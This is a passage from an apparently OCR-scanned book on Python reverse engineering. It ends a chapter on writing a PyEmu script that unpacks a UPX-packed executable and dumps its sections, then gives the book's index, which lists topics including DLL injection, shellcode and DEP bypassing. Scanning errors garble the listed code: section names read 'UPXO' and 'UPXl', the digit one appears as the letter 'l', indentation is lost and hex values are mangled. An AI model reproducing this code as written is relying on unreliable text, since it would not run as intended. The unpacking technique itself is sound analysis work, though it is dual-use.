pages in memory; we just want to make sure that the function call emulates a
successful VirtualProtect call. Our IMP instruction handler © does a simple
check to test whether we are jumping out of the unpacking routine, and if so
it calls the dump_unpacked function to dump the unpacked executable to disk.
It then tells the emulator to stop execution, as our unpacking chore is finally
finished.
The last step will be to add the dump_unpacked routine to our script; we’ll
add it after our handlers.
upxunpacker.py
def dump_unpacked(emu) :
global outputfile
fh = open(outputfile, ' wb ' )
print "[*] Dumping UPXO Section"
base = emu. sections["UPXo"] ["base"]
length = emu.sections["UPXo"]["vsize"]
print "[*] Base: 0x%08x Vsize: %08x"% (base, length)
for x in range(length) :
fh.write("%c" % emu. get_memory (base + x, l) )
print "[*] Dumping UPXl Section"
base = emu. sections["UPXl"] ["base"]
length = emu.sections["UPXl"]["vsize"]
print "[*] Base: 0x%08x Vsize: %08x" % (base, length)
180
Chapter 1 2
for x in range(length) :
fh.write("%c" % emu. get_memory (base + x, l))
print "[*] Finished."
We are simply dumping the UPXO and UPXl sections to a file, and this is the
last step in unpacking our executable. Once this file has been dumped to
disk, we can load it into IDA, and the original executable code will be available
for analysis. Now let’s run our unpacking script from the command line; you
should see output similar to what’s shown in Listing 12-4.
C:\>C:\Python25\python.exe upx_unpacker.py C:\calc_upx.exe calc_clean.exe
[*] We are jumping out of the unpacking routine.
[*] OEP = 0x01012475
[*] Dumping UPXO Section
[*] Base: oxoiooiooo Vsize: 00019000
[*] Dumping UPXl Section
[*] Base: OxOlOlaOOO Vsize: 00007000
[*] Finished.
C:\>
Listing 12-4: Command line usage of upx_unpacker.py
You now have the file C:\calc_clean.exe, which is the raw code for the
original calc.exe executable before it was packed. You’re now on your way to
being able to use PyEmu for a variety of reversing tasks!
PyEmu — The Scriplable Emulator 1S1
INDEX
A
access violation handlers, 60
AccessViolationHook, 72
accumulator register. See KAX
register
AddBptQ function, 158
AllExceptHook, 71
analysis, automated static, 122
anti-debugging routines in
malware, 81
appliances, VMware, 2
associating processes, debuggers,
25-33
attaching processes, 26
attacks, format string, 114
automated static analysis, 122
B
base pointer, EBP register, 15
binary data, Sulley primitives, 126
black-box debuggers, vs.
white-box, 13
blocks, Sulley primitives, 127
BpHook, 71
breakpoints, 18-24, 43-55
handlers, 58
hardware, 21, 47-52
memory, 23, 52-55
soft, 19, 43
buffer overflows, 112
bypassing, DEP on Windows, 77
c
calling conventions, 7
C datatypes, constructing, 8
cdecl convention, 7
characters, filtering exploit
strings, 75
chunksQ function, 156
classes
PyCPU, 164
PyEmu, 165
PyMemory, 165
code injection, 101
CodeRefsFromQ function, 157
CodeRefsToQ function, 157
codes
debug events, 39
IOCTL dispatch routine, 145
compiling, with py2exe library, 108
compressors. See executable
packers, IdaPyEmu
constructing, C datatypes, 8
conventions, calling, 7
count register. See registers
CPU registers, state, 33-38
crash handlers, creating, 62
CRC (cyclic redundancy check) , 21
CreateFileW call, 138
CreateProcessAQ function, 26
CreateProcessHook, 72
CreateRemoteThreadQ function, 98
CreateThreadHook, 72
CreateToolhelp32Snapshot()
function, 34
cross-references, 156
C runtime, resolving printf ()
function, 6
ctypes library, 5
CUP registers, 14
cyclic redundancy check (CRC), 21
D
Data Execution Prevention (DEP),
bypassing on Windows, 77
data generation, block-based
fuzzing, 123
data register. See EDX register
DatatRefsFromQ function, 157
datatypes, C, 8
DatRefsToQ function, 157
debug events, 18
handlers, 39-42
registers, breakpoint styles, 21
debuggers, 13-24. See also Windows
debuggers
breakpoints, 18-24
debug events, 18
general-purpose CPU
registers, 14
hooks, 157
stacks, 16
defining, structures and unions, 9
delimiters, Sulley primitives, 125
DEP (Data Execution Prevention),
bypassing on Windows, 77
destination index, EDI register, 15
development environment, 1-11
obtaining and installing
Python 2.5, 2
operating system requirements, 2
setting up Eclipse and PyDev,
4-11
devices, discovering names, 143
DeviceToControl API, 139
disabling, DEP, 77
discovering device names, 143
DLL (dynamically linked libraries)
defined, 6
injection, 97-110
remote thread creation,
97-103
sample application, 104-110
loading, 99
driverlib library, 142-147
drivers, fuzzing Windows, 137-151
dwCreationFlags parameter
(CreateRemoteThreadQ
function) , 98
dwDebugEventCode, 39
dwDesiredAccess parameter
(OpenProccessQ
function) , 29
dwFlags parameter
(CreateToolhelp32Snapshot()
function) , 34
dwIoControlCode parameter
(DeviceToControl API), 139
dwStackSize parameter
(CreateRemoteThread()
function) , 98
dynamically linked libraries. See DLL
(dynamically linked
libraries)
E
EAX register, 15
EBX register, 16
Eclipse
running scripts with, 5
setting up, 4-11
ECX register, 15
EDI register, 15
EDX register, 15
emulation, of functions in
IdaPyEmu, 172
encrypted traffic, sniffing, 86
endian keyword, 127
environment. See development
environment
ESI register, 15
184 INDEX
events
debug, 18
exception, 41
handlers, 39-42
exception events, 41
exception handlers, 167
executable memory, CLC, 21
executable packers, IdaPyEmu, 176
execution
PyEmu, 165
transferring to shellcode, 73
ExitProcessHook, 72
ExitThreadHook, 72
extending, breakpoint handlers in
PyDbg, 58
F
FastLogHook, 72
file fuzzer, 115-121
file hiding, DLL injection, 104
File Transfer Protocol (FTP) ,
Sulley, 129
filtering, exploit strings, 75
FirstSegQ function, 155
format string attacks, 114
FTP (File Transfer Protocol) ,
Sulley, 129
function emulation, IdaPyEmu, 172
functions. See also individual func-
tion names
finding function cross-
references, 158
function code coverage, 160
IDAPython, 155-158
locating dangerous function
calls, 65
functionsQ function, 156
fuzzing, 111-122
automated static analysis, 122
bug classes, 112-115
code coverage, 122
files, 115-121
Sulley web interface, 133-136
Windows drivers, 137-151
G
generation fuzzers, 111
GetBptOty() function, 158
GetFuncOffsetQ function, 156
GetFunctionNameQ function, 156
GetInputFileMD5() function, 155
get_memory() function, 166
GetRegValueQ function, 158
get_stack_argument() function, 166
get_stack_variable() function, 166
GetThreadContextQ function, 35
global flags (GFlags), 113
groups, Sulley primitives, 127
guard page permissions, 23
H
handlers
access violation, 60
breakpoint, 58
crash, 62
event, 39-42
LoadLibrary, 180
PyEmu, 166-170
handles, ret instruction handler, 175
handling soft breakpoints, 43
hard hooking, Immunity Debugger,
90-95
hardware breakpoints, 21, 47-52
heap overflows, 113
hippie PyCommand, 91
hooking, 85-95
hard hooking with Immunity
Debugger, 90-95
soft hooking with PyDbg, 86-90
hook types, 71
debugger, 157
hProcess parameter
(CreateRemoteThread()
function) , 98
hSnapshot parameter
(CreateToolhelp32Snapshot()
function) , 34
HTTP fuzzing, example, 128
INDEX 185
I
IdaPyEmu, PyEmu, 171-181
IDAPython, 153-162
example scripts, 158-162
functions, 155-158
installing, 154
Immunity Debugger, 69-83
anti-debugging routines in
malware, 81
driver fuzzing, 139-142
exploit development, 73-81
hard hooking, 90-95
installing, 2, 70
impacket library, 124
indexes, source and destination
indexes, 15
injection. See code injection; DLL,
injection
input/output controls (IOCTL),
fuzzing Windows
drivers, 138
dispatch routine, 144
installing
IDAPython, 154
Immunity Debugger, 2, 70
impacket library, 124
PyEmu, 163-181
Python 2.5, 2
Sulley, 124
UPX, 176
WinPcap library, 124
instruction handlers, 168
integer overflows, 113
integers, Sulley primitives, 126
intelligent debugging, 14
IOCTL (input/output controls),
fuzzing windows
drivers, 138
dispatch routine, 144
IsDebuggerPresent function, 81
K
kernel mode, black-box
debuggers, 14
keywords, integer
representations, 127
L
libraries
ctypes, 5
DLLs, 6
Drive rlib, 142-147
handlers, 167
py2exe, 108
WinPcap, 124
Linux
installing Python in, 3
using Python in, 2
LoadDLLHook, 72
loading, DLLs, 6, 99
LoadLibraryQ function, 99
LoadLibrary handler, 180
LocByNameQ function, 156
LogBpHook, 71
lpBytesReturned parameter
(DeviceToControl API), 139
lpFileName parameter (LoadLibraryQ
function) , 99
lpInBuffer parameter
(DeviceToControl API), 139
IpParameter parameter
(CreateRemoteThreadQ
function) , 98
IpStartAddress parameter
(CreateRemoteThreadQ
function) , 98
lpThreadAttributes parameter
(CreateRemoteThreadQ
function) , 98
lpThreadld parameter
(CreateRemoteThreadQ
function) , 98
186 INDEX
M
malware, 81
memory
breakpoints, 23, 52-55
handlers, 169
PyEmu, 165
metrics, code coverage, 122
Microsoft Windows. See Windows
modifiers, register, 165
monitoring, networks and pro-
cesses with Sulley, 132
mutation fuzzers, 111
mutators, example of, 119
my_debugger_defines.py file, 30
N
names, discovering for devices, 143
networks, monitoring with
Sulley, 132
NextSegQ function, 155
nlnBufferSize parameter
(DeviceToControl API) , 139
NtSetlnformationProcessQ
function, 77
0
one-shot breakpoints, 20
opcode handlers, 168
opening processes, 26
OpenProcessQ function, 29
OpenThreadQ function, 33
operating systems, requirements, 2
overflows
buffers, 112
integers, 113
P
page permissions, querying and
manipulating, 52
page size, calculating, 52
parameters, passing by reference, 9
PEPyEmu, 175
permissions, page, 52
persistent breakpoints, 20
PostAnalysisHook, 72
primitives, Sulley, 125-128
printfQ function, 6, 45, 114
processes
associating to debuggers, 25-33
attaching, 26
disabling DEP, 77
inserting shellcode, 101
iteration, defeating, 82
monitoring, with Sulley, 132
opening, vs. attaching, 26
snapshots, obtaining, 63
program counter handler, 170
p\2exe library, compiling with, 108
PyCommands, 71
PyCPU, 164
PyDbg, 57-68
access violation handlers, 60
breakpoint handlers, 58
process snapshots, 63
sample tool, 65-68
soft hooking, 86-90
PyDev, setting up, 4-11
PyEmu, 163-181
defined, 164-170
IdaPyEmu, 171-181
installing, 164
PyHooks, 71
PyMemory, 164
Python, installing, 2
Q
querying, page permissions, 52
R
random primitives, Sulley, 126
ReadProcessMemory() function, 43
receive_ftp_banner() function, 131
INDEX 187
registers
CPU, 14
debug, 21
EAX, 15
EBX, 16
ECX, 15
EDI, 15
EDX, 15
ESI, 15
handlers, 167
modifiers, PyEmu, 165
remote thread creation, DLL
injection, 98-110
requirements, for operating
systems, 2
ret instruction handler, 175
s
s_binary() directive, 126
ScreenEAQ function, 155
scripted debuggers, advantages
of, 18
scripting, IDAPython, 153-162
scripts, running from Eclipse, 5
SegByNameQ function, 156
SegEndQ function, 156
segments, IDAPython, 155
SegmentsQ function, 156
SegNameQ function, 156
SegStartQ function, 156
servers
FTP, 129
socket, 110
sessions, Sulley, 131
set_memory() function, 166
SetRegValueQ function, 158
set_stack_argument() function, 166
set_stack_variable() function, 166
SetThreadContextQ function, 35
setting soft breakpoints, 43
shellcode
inserting into processes, 101
transferring execution to, 73
signed keyword, 127
sniffing encrypted traffic, 86
socket servers, example of, 110
soft breakpoints, 19, 43
CRC, 21
PyDbg function for setting, 58
setting and handling, 43
soft hooks
defined, 85
PyDbg, 86-90
source indexes, ESI register, 15
s_random() directive, 126
stacks, 16
overflows, 112
pointers, ESP register, 15
size, calculating, 161
state, CPU registers, 33-38
static analysis, automated, 122
static primitives, Sulley, 126
stdcall convention, 7
STDCALLFastLogHook, 72
strings
format string attacks, 114
Sulley primitives, 125
structures, defining, 9
Sulley, 123-136
installing, 124
primitives, 125-128
WarFTPD, 129-136
switch statement, 147
T
testing
file fuzzers, 121
IDAPython installation, 154
thread enumeration, 34
threads, remote thread creation,
98-110
thresholds, stack variables, 162
188 INDEX
u
unions, defining, 9
UnloadDLLHook, 72
unpacking, UPX, 177-181
UPX Packer, IdaPyEmu, 176-181
user mode, black-box debuggers, 14
utility functions, IDAPython, 155
V
verbs, 128
verifying. See testing
VirtualProtectExQ function, 53
VMware, appliances, 2
w
WarFTPD, Sulley, 129-136
white-box debuggers, vs. black-box
debuggers, 13
Windows
debuggers, 25-55
associating processes, 25-33
breakpoints, 43-55
CPU register state, 33-38
debug event handlers, 39-42
fuzzing drivers in, 137-151
GFlags, 113
installing Python in, 2
using Python in, 2
WinPcap library, 124
WriteProcessMemoryQ function, 43
X
x86 assembly, ESI and EDI
registers, 15
INDEX 189
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